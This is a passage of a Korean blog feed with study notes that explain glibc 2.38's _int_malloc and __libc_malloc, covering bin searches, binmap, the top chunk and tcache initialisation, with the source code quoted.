<p><strong>하지만  bck→bk보다 size가 작지 않다면</strong> 본격적으로 알맞은 자리를 찾아주어야 한다. </p>
<p>좀 더 보기 편하게 이 부분만 따로 코드를 살펴보자. </p>
<pre><code class="language-c">                          else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size &lt; chunksize_nomask (fwd))
                        {
                          fwd = fwd-&gt;fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd-&gt;fd;
                      else
                        {
                          victim-&gt;fd_nextsize = fwd;
                          victim-&gt;bk_nextsize = fwd-&gt;bk_nextsize;
                          if (__glibc_unlikely (fwd-&gt;bk_nextsize-&gt;fd_nextsize != fwd))
                            malloc_printerr (&quot;malloc(): largebin double linked list corrupted (nextsize)&quot;);
                          fwd-&gt;bk_nextsize = victim;
                          victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;
                        }
                      bck = fwd-&gt;bk;
                      if (bck-&gt;fd != fwd)
                        malloc_printerr (&quot;malloc(): largebin double linked list corrupted (bk)&quot;);
                    }</code></pre>
<p>우선 while문을 통해서 size보다 작거나 같은 size값의 청크를 찾을 때까지 fwd를 fwd의 fd로 업데이트해준다. 만약 알맞은 위치가 찾아진다면 적절한 위치가 fwd에 저장된 상태로 while문을 빠져나온다. </p>
<p>이후에도 두 가지 경우로 나뉠 수가 있는데 바로 size가 fwd의 size와 같은 경우와 더 큰 경우이다. </p>
<p>⇒만약 같다면, 주석에 나온대로 항상 second position에 삽입해준다. 따라서 fwd는 fwd의 fd가 될 것이다. </p>
<p>⇒ 만약 같지 않다면 fwd는 이미 올바른 위치를 찾은 상태이므로 fwd는 건들 필요가 업고 victim과 fwd의 bk_nextsize, fd_nextsize를 올바르게 설정해준다. 그 과정에서 fwd의 bk_nextsize의 fd_nextsize가 fwd와 동일한지 검증하는 절차가 존재한다.</p>
<p>이렇게 각각 경우에 따라 올바른 fwd가 설정되고 나면 당연히 bck는 fwd의 bk가 될 것이다. </p>
<p>그리고 bck의 fd가 fwd와 동일한지 검증해준다. (검증 절차가 매우 많다)</p>
<pre><code class="language-c">
          mark_bin (av, victim_index);
          victim-&gt;bk = bck;
          victim-&gt;fd = fwd;
          fwd-&gt;bk = victim;
          bck-&gt;fd = victim;

#if USE_TCACHE
      /* If we&#39;ve processed as many chunks as we&#39;re allowed while
     filling the cache, return one of the cached ones.  */
      ++tcache_unsorted_count;
      if (return_cached
      &amp;&amp; mp_.tcache_unsorted_limit &gt; 0
      &amp;&amp; tcache_unsorted_count &gt; mp_.tcache_unsorted_limit)
    {
      return tcache_get (tc_idx);
    }
#endif

#define MAX_ITERS       10000
          if (++iters &gt;= MAX_ITERS)
            break;
        }

#if USE_TCACHE
      /* If all the small chunks we found ended up cached, return one now.  */
      if (return_cached)
    {
      return tcache_get (tc_idx);
    }
#endif
</code></pre>
<p>여기까지 진행이 된다면 small bin이던 large bin이던 간에 victim을 삽입할 알맞은 bck와 fwd가 설정된 상태일 것이다. 따라서 victim의 bk에 bck, victim의 fd에 fwd를 넣고 fwd의 bk와 bck의 fd에는 victim을 넣어 fwd, victim, bck를 연결, 즉 victim을 bin의 알맞은 자리에 삽입해준다. </p>
<p><code>mark_bin</code> 은 뭔가 해서 봤는데 비트맵과 관련된 것인듯 하다. 비트맵이 뭔지 몰라서 찾아보니 bin들의 정보를 비트를 사용해서 기록하는 값으로 빈 검색을 간소화하는 데 도움을 준다고 한다. malloc_state구조체 내에 binmap이라는 이름으로 존재하며 bin들을 4개의 영역으로 나누어서 정보를 배치한다고 한다. mark_bin 매크로를 사용해서 binmap에 bin에 청크를 삽입한 정보를 표시해주는 것 같다. </p>
<p>만약 tcache가 사용된다면 tcache_unsorted_count를 1 증가 시켜준다. 이는 초기값 0으로 설정되어 선언되었던 값인데 tcache의 삽입 없이 여기까지 진행되는 횟수를 카운트하는 변수인가보다. </p>
<p>그리고 return_cached가 1이면서(이전에 fit chunk를 찾았으면서 tcache에 자리가 있다면 tcache에 삽입하고 1로 바꾸어줬던 값이다. 따라서 이 조건문의 진입 조건 중에 이 전에 while문 내부에서의 tcache삽입이 있었는지가 있다는 의미이다) unsorted list에서 제거될 수 있는 최대의 청크 수를 의미하는 <code>tcache_unsorted_limit</code> 가 0보다 크거나 tcache_unsorted_count보다 작으면 tcache의 청크를 반환한다. 그런데 mp_의 <code>tcache_unsorted_limit</code> 값은 0으로 선언되어 있는데 그렇다면 0보다 클수가 없는 것 아닌가…? 이 부분은 잘 모르겠다… 확실하진 않지만 대충 tcache에서 할당할 수 있는 청크가 존재하면 여기서 할당이 한 번 더 이루어질 수 있는 듯 하다. 왜냐하면 반복문 내부에 fit 청크를 tcache에 삽입하는 루틴이 있기 때문에 __libc_malloc에서 tcache청크의 재할당이 이루어지지 않았더라도 이후 tcache에 재할당 가능한 청크가 생길 수 있기 때문이다. 이전에 왜 tcache에 갑자기 청크를 넣는 건지 의아했었는데 어차피 tcache할당의 기회가 한 번 더 있기 때문에 그런 것도 있었나보다. 그런데도 여전히 왜 그러는지는 의문이긴 하지만…</p>
<p>그리고 이제 while문 반복 루틴의 마지막이 보이는데 이전에 살펴봤던 바로는 while문의 반복 조건은 unsorted bin에 청크가 존재하는지의 여부였다. 그런데 while문의 반복인자인 iters가 10000 보다 크거나 같다면 while문을 빠져나간다고 되어있으므로 결론적으로 while문의 탈출 조건은 다음과 같아진다. </p>
<ol>
<li>unsorted bin에 청크가 하나도 남아있지 않음</li>
<li>반복횟수가 10000을 넘었을 때</li>
<li>특정 부분에서 동적할당이 이루어졌을 때(아예 malloc자체가 종료)</li>
</ol>
<p>이 조건들이 충족되기 전까지는 while문이 계속해서 반복되면서 알맞은 청크를 찾거나, unsorted bin의 청크를 bin에 분류할 것이다. </p>
<p>그리고 return_cached가 set되어있다면 tcache의 청크를 재할당하는 과정이 한 번 더 존재하는데.. 이건 while문 반복의 마지막 차례에 tcache로의 삽입이 이루어져 continue 때문에 tcache 재할당까지 도달을 못하는 경우 때문에 while문 밖에도 한 번 더 존재하는 것일 듯 하다. </p>
<h3 id="5-large-bin탐색">5. large bin탐색</h3>
<p>만약 이 부분까지 실행흐름이 진행된다면 이는 곧 unsorted bin에서의 할당이 실패한 경우일 것이다. 아마 이제 large bin의 탐색이 이루어지지 않을까 예상해볼 수 있다. </p>
<pre><code class="language-c">
      /*
         If a large request, scan through the chunks of current bin in
         sorted order to find smallest that fits.  Use the skip list for this.
       */

      if (!in_smallbin_range (nb))
        {
          bin = bin_at (av, idx);

          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin
          &amp;&amp; (unsigned long) chunksize_nomask (victim)
            &gt;= (unsigned long) (nb))
            {
              victim = victim-&gt;bk_nextsize;
              while (((unsigned long) (size = chunksize (victim)) &lt;
                      (unsigned long) (nb)))
                victim = victim-&gt;bk_nextsize;

              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
              if (victim != last (bin)
          &amp;&amp; chunksize_nomask (victim)
            == chunksize_nomask (victim-&gt;fd))
                victim = victim-&gt;fd;

              remainder_size = size - nb;
              unlink_chunk (av, victim);
</code></pre>
<p>주석을 살펴보니 large bin의 탐색 차례가 맞는 듯 하다. </p>
<p>일단 가장 큰 if문의 조건을 살펴보면 nb가 smallbin의 범위에 있지 않다면, 즉 largebin의 범위에 있다면 if문 내부로 들어가게 된다. </p>
<p>우선 <code>bin_at</code> 을 통해 idx에 해당하는 bin리스트를 bin에 가져온다. </p>
<p>그리고 또 하나의 두 번째로 큰 조건문이 존재하는데 이는 가져온 bin이 비어있지는 않은지, 그 bin의 largest chunk가 요청크기보다 크거나 같은지를 검사한다. 만약 bin이 비어있지 않고 bin의 가장 큰 청크가 요청크기보다 크거나 같다면 if문 내부로 들어가고 그렇지 않다면 bin이 비어있거나 bin에 존재하는 가장 큰 청크가 요청보다 작다는 것이기 때문에 if문 내부로 들어가지 않고 다음 흐름을 이어간다. (미리 흐름을 살펴보고 왔더니 인덱스값을 증가 시켜 large bin탐색을 이어가는 듯 하다.)</p>
<p>만약 if문 내부로 들어간다면 이는 적어도 지금 보고 있는 bin에는 사용가능한 청크가 있다는 것이기 때문에 할당이 무조건 이루어질 것이다. </p>
<p>if문 내부로 들어가면 해당 bin의 가장 작은 청크부터 시작해 요청크기보다 청크의 크기가 크거나 같아지는 순간까지 while문을 통해 청크를 탐색한다. 만약 while문을 빠져나갔다는 것은 victim이 처음으로 요청크기와 크거나 같아진 순간이라는 것이므로 while문 직후이 victim이 재할당 대상이 될 것이다. </p>
<p>그리고 victim청크를 분할하기에 앞서 만약 victim이 bin의 last chunk(최소청크)가 아니면서 victim의 크기가 victim의 fd의 크기와 같다면 victim을 victim의 fd로 바꾸어준다. 그냥 동일 크기의 청크가 존재한다면 무조건 forward에있는 것을 할당하는 것이 원칙인가보다. </p>
<p>어쨋든 알맞게 victim을 정하고 나면 청크를 분할하기 위한 절차가 시작된다. 우선 victim의 size에 해당하는 size에서 요청 크기인 nb를 빼서 remainder_size에 저장해준다. 그리고 <code>unlink_chunk</code> 로 victim청크를 av(아레나)로부터 unlink해준다.</p>
<pre><code class="language-c">
              /* Exhaust */
              if (remainder_size &lt; MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &amp;main_arena)
            set_non_main_arena (victim);
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck-&gt;fd;
          if (__glibc_unlikely (fwd-&gt;bk != bck))
            malloc_printerr (&quot;malloc(): corrupted unsorted chunks&quot;);
                  remainder-&gt;bk = bck;
                  remainder-&gt;fd = fwd;
                  bck-&gt;fd = remainder;
                  fwd-&gt;bk = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder-&gt;fd_nextsize = NULL;
                      remainder-&gt;bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &amp;main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }</code></pre>
<p>그런데 만약 <strong>remainder_size가 <code>MINSIZE</code> 보다 작다면</strong>, 분할하고 남은 청크가 <code>MINSIZE</code> 보다 작아지면 안되기 때문에 바로 victim의 메모리상 인접 청크에 prev_inuse flag를 설정하고 해당 청크를 할당해버린다. </p>
<p>하지만 그런 경우가 아니라면 else문으로 들어가 분할 절차를 계속한다. </p>
<p>우선 remainder이라는 변수에 victim의 주소+nb의 주소를 넣어준다. 이는 victim을 필요한 만큼 쪼개고 남은청크의 시작 주소이다. </p>
<p>그리고 remainder 청크를 unsorted bin에 넣어준다.</p>
<p>좀 더 자세하게 보면, 다음과 같다. bck에 <code>unsorted_chunks (av)</code> 를 , fwd에 bck의 fd를 대입하여 remainder, 즉 쪼개고 남은 청크를 fwd와 bck의 사이에 삽입해준다. 그 과정에서 fwd의 bk와 bck가 같은지를 확인하는 검증 절차가 존재한다. 그리고 만약 remainder_size가 large bin의 범위에 들어간다면 fd_nextsize와 bk_nextsize를 null로 초기화해준다. </p>
<p>그리고 victim과 remainder를 각각 새로운 크기에 맞게 헤더값을 세팅해주고 remainder의 경우에는 메모리 상의 인접 청크에 prev_size도 알맞게 바꾸어준다. </p>
<p>그리고 victim청크를 할당해준다. </p>
<p>만약 여기서 할당이 이루어지지 못하면 계속 코드를 진행한다. </p>
<p>여기서부터는 이전 largebin에서 알맞은 청크를 찾지 못했을 때 도달하게 되는 코드이다. </p>
<p>첫 부분을 보면 idx를 1 증가시켜 bin을 계속 탐색한다는 것을 알 수 있다. </p>
<pre><code class="language-c">/*
         Search for a chunk by scanning bins, starting with next largest
         bin. This search is strictly by best-fit; i.e., the smallest
         (with ties going to approximately the least recently used) chunk
         that fits is selected.

         The bitmap avoids needing to check that most blocks are nonempty.
         The particular case of skipping all bins during warm-up phases
         when no chunks have been returned yet is faster than it might look.
       */

      ++idx;
      bin = bin_at (av, idx);
      block = idx2block (idx);
      map = av-&gt;binmap[block];
      bit = idx2bit (idx);
</code></pre>
<p>주석을 살펴보면 탐색을 하되 청크 선택의 원칙은 적합한 청크 중 가장 작은 청크라고 한다. </p>
<p>그리고 이전에 잠깐 봤던 개념인 <strong>bitmap을 활용한 탐색</strong>이 이루어지는 것 같다. </p>
<p>우선 idx를 1 증가 시키고, 그 인덱스에 해당하는 bin리스트를 bin에 가져온다. </p>
<p>그리고 그 bin에 해당하는 binmap을 가져오기 위한 block값을 가져오고 (이전에 살펴보았을 때, 모든 bin을 4개의 binmap에 나누어 관리한다고 했으므로 인덱스값을 바탕으로 해당하는 block값을 <code>idx2block</code> 으로 가져오는 듯 하다) map이라는 변수에 해당하는 binmap을 대입한다. 또한 idx를 비트값으로 변환하여 bit에 저장한다. </p>
<p><strong>일단 이 부분을 자세하게 이해하려면 binmap의 개념을 확실하게 짚고 넘어가야 한다.</strong></p>
<p>우선 binmap은 총 4개가 존재하며, 각  binmap당 담당하는 bin은 다음과 같다.</p>
<pre><code>binmap[0] : 0 ~ 31, binmap[1] : 32 ~ 64, binmap[2] : 65 ~ 96, binmap[3] : 97 ~128</code></pre><p>그리고 만약 특정 bin에 free청크가 배치된다면 그 bin에 해당하는 binmap에 그 bin에 대한 bit가 배치된다고 한다. </p>
<p>해당 bin에 대한 bit를 계산하는 매크로가 바로 <code>idx2bit</code> 인 듯 하다. </p>
<p>그러니까 <code>idx2bit</code> 매크로를 살펴보자. 
<code>#define **idx2bit**(i)       ((1U &lt;&lt; ((i) &amp; ((1U &lt;&lt; **BINMAPSHIFT**) - 1))))</code></p>
<p>다음과 같은 형태로 되어있다. (<strong><code>BINMAPSHIFT</code></strong> 는 5이다. )</p>
<p>즉, idx2bit(idx) ==  1U &lt;&lt; ( idx &amp; ((1U &lt;&lt; <strong>BINMAPSHIFT</strong>) - 1)) == 1 &lt;&lt; (idx &amp; 31) 이다. </p>
<p>binmap을 사용하면 bin검색을 간소화할 수 있다고 했는데, 정확하진 않지만 binmap의 비트를 확인하여 해당 크기의 free chunk가 존재하는지를 바로 확인할 수 있기 때문인 것 같다. </p>
<p>일단 여기까지 보고 코드를 계속 봐보자. </p>
<pre><code class="language-c">      for (;; )
        {
          /* Skip rest of block if there are no more set bits in this block.  */
          if (bit &gt; map || bit == 0)
            {
              do
                {
                  if (++block &gt;= BINMAPSIZE) /* out of bins */
                    goto use_top;
                }
              while ((map = av-&gt;binmap[block]) == 0);

              bin = bin_at (av, (block &lt;&lt; BINMAPSHIFT));
              bit = 1;
            }

          /* Advance to bin with set bit. There must be one. */
          while ((bit &amp; map) == 0)
            {
              bin = next_bin (bin);
              bit &lt;&lt;= 1;
              assert (bit != 0);
            }

          /* Inspect the bin. It is likely to be non-empty */
          victim = last (bin);
</code></pre>
<p>또다시 for문이 등장하는데 뭔가 알맞은 bin을 찾을 때까지 계속 반복이 이루어지고, 이 for문을 빠져나가기 위한 방법은 return으로 인해 malloc이 종료되거나, goto로 인해 use_top으로 빠지거나 둘 중 하나인 듯 하다. </p>
<p>우선 가장 처음으로  bit(=idx2bit (idx))가 map(=av-&gt;binmap[block])보다 크거나 bit==0인지를 확인하고 있는데, 이 조건이 참이 된다는 것은 우리가 원하는 idx의 bin에 free된 청크가 존재하지 않는다는 뜻이다. 따라서 if문 내부에 들어가면 binmap[]의 값이 0이 아닌 binmap을 찾을 때까지 binmap의 인덱스 값인 block을 증가시켜 탐색하고 만약 모든 binmap이 다 0이라면 use_top이라는 부분으로 goto를 통해 이동한다. 이 부분은 large bin탐색 부분을 다 본 다음 살펴볼 예정이다. </p>
<p>확실히 이 부분만 봐도 수많은 largebin 리스트들을 일일히 확인하지 않아도 <strong>최대 4개의 binmap block만 살펴보면 되니까 만약 필요한 청크가 largebin에 없었다고 가정한다면 훨씬 효율적인 방법이라는 것을 알 수 있다.</strong> </p>
<p>어쨌든 goto를 통해 빠지지 않고 do-while문을 빠져나왔다는 것은 0이 아닌 binmap block이 있었다는 의미일 것이고, 0이 아닌 다음 binmap block을 찾았다면 다음 코드가 이어서 계속 실행될 것이다.</p>
<p>우선 bin_at 매크로를 통해서 해당 block의 범위 안에 드는 가장 첫 번째 bin을 가져온다. 그리고 그것의 bit를 1로 설정해준다.</p>
<p>처음에는 왜 bit를 1로 설정하는 것인지 이해가 가지 않았는데 직접 예시를 들어서 계산해보니 이해가 갔다. 만약에 지금 보고있는 binmap이 binmap[3]이라고 가정하면, 이 block에 해당하는 가장 첫 번째 bin에 해당하는 인덱스는 <code>3 &lt;&lt; BINMAPSHIFT = 96</code> 이 될 것이다. (음.. 실제로 binmap[3]의 첫 인덱스 값은 97이긴 하다. 근데 이는 실질적인 코드 상에서 최적화를 하면서 사용하지 않는 첫 번째와 마지막 인덱스를 아예 제외시켜버린 것과 연관이 있을 듯 하다). 어쨋든 96이라고 가정하면 이 96의 비트값을 계산해보면 <code>1 &lt;&lt; (96 &amp; 31) = 1 &lt;&lt; 0 = 1</code> 이다. 아마 어떤 block값에 이를 계산해도 가장 첫 번째 인덱스의 비트값은 1일 것이다. 그래서 초기 비트 값을 1로 설정하는 것이다. </p>
<p>어쨋든 보고 있는 block의 첫 번째 bin에 해당하는 정보들을 설정해주었으면 이제 bit &amp; map의 값이 0이 아닐 때까지 다음 bin을 계속 탐색한다. bit&amp;map가 0이라는 것은 해당 bit에 해당하는 인덱스의 bin에는 free된 청크가 없다는 것이므로 while문을 벗어날 때까지, 즉 free청크가 존재하는 bin을 찾을 때까지 bin의 정보를 업데이트하면서 탐색한다.</p>
<p>만약 while문을 벗어났다면, free 청크가 존재하는 bin을 찾았다는 것이다. 이제 그 bin을 대상으로 한 탐색을 시작한다. victim에 그 bin의 last chunk를 대입해준다.   </p>
<pre><code class="language-c">          /*  If a false alarm (empty bin), clear the bit. */
          if (victim == bin)
            {
              av-&gt;binmap[block] = map &amp;= ~bit; /* Write through */
              bin = next_bin (bin);
              bit &lt;&lt;= 1;
            }

          else
            {
              size = chunksize (victim);

              /*  We know the first chunk in this bin is big enough to use. */
              assert ((unsigned long) (size) &gt;= (unsigned long) (nb));

              remainder_size = size - nb;

              /* unlink */
              unlink_chunk (av, victim);

              /* Exhaust */
              if (remainder_size &lt; MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &amp;main_arena)
            set_non_main_arena (victim);
                }

              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);

                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck-&gt;fd;
          if (__glibc_unlikely (fwd-&gt;bk != bck))
            malloc_printerr (&quot;malloc(): corrupted unsorted chunks 2&quot;);
                  remainder-&gt;bk = bck;
                  remainder-&gt;fd = fwd;
                  bck-&gt;fd = remainder;
                  fwd-&gt;bk = remainder;

                  /* advertise as last remainder */
                  if (in_smallbin_range (nb))
                    av-&gt;last_remainder = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder-&gt;fd_nextsize = NULL;
                      remainder-&gt;bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &amp;main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }</code></pre>
<p>어떻게 그런 상황이 생기는 지는 모르겠지만 bit값이 잘못될 때도 있나보다. 그래서 우리가 지금 보고 있는 bin이 만약 비어있다면 (victim == bin이라면) binmap에서 비트 정보를 바로잡아주고 또 다음 bin을 탐색한다. 그 이후의 탐색은 어떻게 되는건가 봤더니 애초에 지금 이 코드가 for문 내부에 존재했기 때문에 bin에는 다음 bin의 정보를, 그리고 그에 해당하는 비트를 bit에 저장한 상태로 for문의 초기로 돌아가 탐색을 이어가는 것 같다. </p>
<p>그리고 bin이 비어있는 것이 아니라면 else문으로 가서 청크를 할당하기 위한 절차를 밟는다.</p>
<p>우선 size에 victim의 크기값을 담아준다. 여기서 size는 당연히 요청 할당크기 보다 커야 한다. </p>
<p>remainder_size에 size에서 nb를 뺀 값을 담아준다. 분할 루틴에서 여러번 봤듯이 이는 필요한 만큼의 청크를 쪼개고 남은 청크의 크기이다. </p>
<p>이전에 청크를 쪼갰던 절차와 동일한 절차가 이루어진다. </p>
<p>victim을 arena로 부터 unlink하고, 만약 remainder_size가 MINSIZE보다 작으면 그냥 victim을 그대로 할당해주고, 아니라면 청크를 쪼개서 remainder청크는 unsortedbin에 삽입하고 쪼갠 청크를 할당한다. </p>
<h3 id="6-top-chunk분할-sysmalloc">6. top chunk분할 /sysmalloc</h3>
<p>이제 아까 나중에 보기로 했던 use_top부분을 보자. </p>
<p>이 부분은 large bin에서도 알맞은 청크를 발견하지 못한다면 도달하게 되는 부분이다. </p>
<pre><code class="language-c">use_top:
      /*
         If large enough, split off the chunk bordering the end of memory
         (held in av-&gt;top). Note that this is in accord with the best-fit
         search rule.  In effect, av-&gt;top is treated as larger (and thus
         less well fitting) than any other available chunk since it can
         be extended to be as large as necessary (up to system
         limitations).

         We require that av-&gt;top always exists (i.e., has size &gt;=
         MINSIZE) after initialization, so if it would otherwise be
         exhausted by current request, it is replenished. (The main
         reason for ensuring it exists is that we may need MINSIZE space
         to put in fenceposts in sysmalloc.)
       */

      victim = av-&gt;top;
      size = chunksize (victim);

      if (__glibc_unlikely (size &gt; av-&gt;system_mem))
        malloc_printerr (&quot;malloc(): corrupted top size&quot;);

      if ((unsigned long) (size) &gt;= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av-&gt;top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &amp;main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);

          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }

</code></pre>
<p>이 부분에서는 top chunk를 사용한다. victim에 top청크의 베이스 주소를 넣어주고, size는 victim의 size가 된다. 그리고 size가 av-&gt;system_mem보다 큰지 확인하는 검증 절차를 거친다. </p>
<p>이후 size가 요청 사이즈보다 큰지 아닌지의 여부에 따라 나누어 처리한다. </p>
<p>만약 top청크의 size가 요청 사이즈보다 크다면 단순히 top청크를 쪼개서 쪼갠 청크를 할당해준다. </p>
<p>이 할당이 끝나고 나면 top청크의 크기는 줄어든 상태일 것이다. </p>
<p>이 부분은 메모리 할당 요청이 들어왔을 때, 사용할 적절한 Free Chunk가 없으면 Top Chunk를 쪼개어 사용한다고 배웠던 것과 일치한다. </p>
<p>하지만 요청 사이즈가 top chunk의 사이즈보다 크다면 어떻게 할까?</p>
<pre><code class="language-c">  /* When we are using atomic ops to free fast chunks we can get
         here for all block sizes.  */
      else if (atomic_load_relaxed (&amp;av-&gt;have_fastchunks))
        {
          malloc_consolidate (av);
          /* restore original bin index */
          if (in_smallbin_range (nb))
            idx = smallbin_index (nb);
          else
            idx = largebin_index (nb);
        }

      /*
         Otherwise, relay to handle system-dependent cases
       */
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }
    } //--&gt;for문
}//--&gt;함수 전체</code></pre>
<p>우선 fastchunk가 존재하는지 아닌지에 따라 경우가 나뉘어진다. 만약 fastbin에 청크가 존재한다면 malloc_consolidate를 통해서 fastbin의 청크들을 병합한다.</p>
<p>그리고 원래의 bin index를 복구해준다. </p>
<p>그리고 fastchunks가 존재하지 않으면 else문으로 간다. 이 부분을 보면 sysmalloc이라는 함수를 통해서 청크를 할당하고 반환한다. 내가 알기론 sysmalloc의 내부에서 필요에 따라 sbrk가 호출되는 것으로 알고 있는데, 이는 추후에 sbrk에 대한 분석 시에 sysmalloc을 제대로 분석해보면서 자세히 알아보아야 겠다. </p>
<h2 id="결론">결론</h2>
<p>종합해보자면, _int_malloc은 fastbin⇒smallbin 탐색 ⇒malloc_consolidate⇒ unsorted bin탐색(last remainder확인⇒ unsorted bin내의 fit청크 확인⇒아니면 bin으로 분류를 반복) ⇒ largebin탐색⇒ (topchunk를 쪼개서 할당/sysmalloc을 통한 할당)의 순서로 진행된다. </p>
<p>역시나 tcache 청크의 재할당은 __libc_malloc에서 이루어지므로 _int_malloc내부엔 tcache의 청크를 재할당하는 것은 존재하지 않았다. (unsorted bin탐색 과정에서 tcache로 들어가게 된 청크 할당하는 것을 제외한다면) </p>
<p>각종 bin에 대해서 배울 때 잘 이해가 되지 않았던 것들을 보다 확실하게 알 수 있었던 것 같다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Glibc분석]__libc_malloc (2.38)]]></title>
            <link>https://velog.io/@chk_pass/Glibc%EB%B6%84%EC%84%9Dlibcmalloc-2.38</link>
            <guid>https://velog.io/@chk_pass/Glibc%EB%B6%84%EC%84%9Dlibcmalloc-2.38</guid>
            <pubDate>Tue, 20 Feb 2024 13:58:55 GMT</pubDate>
            <description><![CDATA[<p>size_t형의 bytes(동적할당 크기)를 인자로 받아 void형 포인터 victim(할당된 힙 영역의 주소)를 반환한다.</p>
<p>부분을 나눠 자세하게 살펴보자.</p>
<h2 id="part-1">PART 1</h2>
<pre><code class="language-c">  mstate ar_ptr;
  void *victim;

  _Static_assert (PTRDIFF_MAX &lt;= SIZE_MAX / 2,
                  &quot;PTRDIFF_MAX is not more than half of SIZE_MAX&quot;);

  if (!__malloc_initialized)
    ptmalloc_init ();
</code></pre>
<p>우선 mstate형 ar_ptr변수와 void형 포인터 victim이 선언된다.</p>
<p>mstate는 malloc_state구조체에 대한 포인터형이다. </p>
<pre><code class="language-c">typedef struct malloc_state *mstate;</code></pre>
<p>그리고 victime은 malloc이 종료된 다음 반환될 변수라는 점을 기억하자.</p>
<p>그리고 그 다음  _Static_assert함수는 컴파일 타임에 조건을 검사하는 함수이므로 일단 넘어가자,</p>
<p>다음으로는 malloc이 초기화되었는지를 나타내는 __malloc_initialized가 flase이면 ptmalloc_init ()를 실행해 초기화를 진행한다. </p>
<pre><code class="language-c">/* Already initialized? */
static bool __malloc_initialized = false;

//https://elixir.bootlin.com/glibc/latest/source/malloc/arena.c#L261
static void
ptmalloc_init (void)
{
  if (__malloc_initialized)
    return;

  __malloc_initialized = true;

#if USE_TCACHE
  tcache_key_initialize ();
#endif
.....(중략)</code></pre>
<p>우선 __malloc_initialized의 초기값은 flase이며 ptmalloc_init() 내부 루틴에 의해 이 함수가 한번이라도 실행되면 __malloc_initialized를 true로 만들기 때문에 무조건 초기화(=ptmalloc_init의 실행)는 맨 처음 한 번 이루어질 것이다. </p>
<h2 id="part-2">PART 2</h2>
<pre><code class="language-c">#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes = checked_request2size (bytes);
  if (tbytes == 0)
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx &lt; mp_.tcache_bins
      &amp;&amp; tcache != NULL
      &amp;&amp; tcache-&gt;counts[tc_idx] &gt; 0)
    {
      victim = tcache_get (tc_idx);
      return tag_new_usable (victim);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif</code></pre>
<p>#if USE_TCACHE~#endif에 해당하는 위 부분은 tcache가 도입되며 추가된 부분이라고 한다.</p>
<p>즉, tcache에 관한 부분이다. </p>
<p>우선 size_t형의 tbytes라는 변수에 checked_request2size (bytes)의 반환 값을 넣어준다.</p>
<p>checked_request2size는 입력 받은 bytes가 <code>PTRDIFF_MAX</code> 보다 크다면 바로 0을, <code>MINSIZE</code> 보다 작으면 <code>MINSIZE</code> 를, 그 외에는 제대로 된 size의 값을 반환한다. 따라서 만약 요청된 bytes가 정해진 값보다 크다면 아래의 if문이 실행되어 에러 넘버가 설정되고 널 값이 반환되면서 malloc이 종료될 것이다. 그 외의 경우에는 tbytes에 적당한 size값이 대입 된 채로 계속 진행될 것이다.</p>
<p>다음으로는 tc_idx라는 변수에 csize2tidx (tbytes)의 반환값(=tbytes에 해당하는 tcache인덱스 값)을 넣는다. </p>
<p>다음으로는  MAYBE_INIT_TCACHE ()를 수행하여 tcache에 대한 초기화를 수행한다 (tcache_perthread_struct 구조체를 동적할당, 구조체 포인터 변수 tcache에 해당 주소 저장) </p>
<p>이는 tcache의 값이 NULL일 때만 실행되므로 가장 첫 번째의 malloc수행에만 초기화가 진행될 것임.</p>
<ul>
<li><p>MAYBE_INIT_TCACHE 상세</p>
<p>  &lt;tcache관련 구조체, 변수 정의&gt;</p>
<pre><code class="language-c">  typedef struct tcache_entry
  {
    struct tcache_entry *next;
    /* This field exists to detect double frees.  */
    uintptr_t key;
  } tcache_entry;

  //tcache를 관리하는 구조체
  typedef struct tcache_perthread_struct
  {
    uint16_t counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
  } tcache_perthread_struct;

  static __thread tcache_perthread_struct *tcache = NULL;</code></pre>
<p>  &lt;함수 내부 코드&gt;</p>
<pre><code class="language-c">  //https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L3264

  # define MAYBE_INIT_TCACHE() \
    if (__glibc_unlikely (tcache == NULL)) \
      tcache_init();

  static void
  tcache_init(void)
  {
    mstate ar_ptr;
    void *victim = 0;
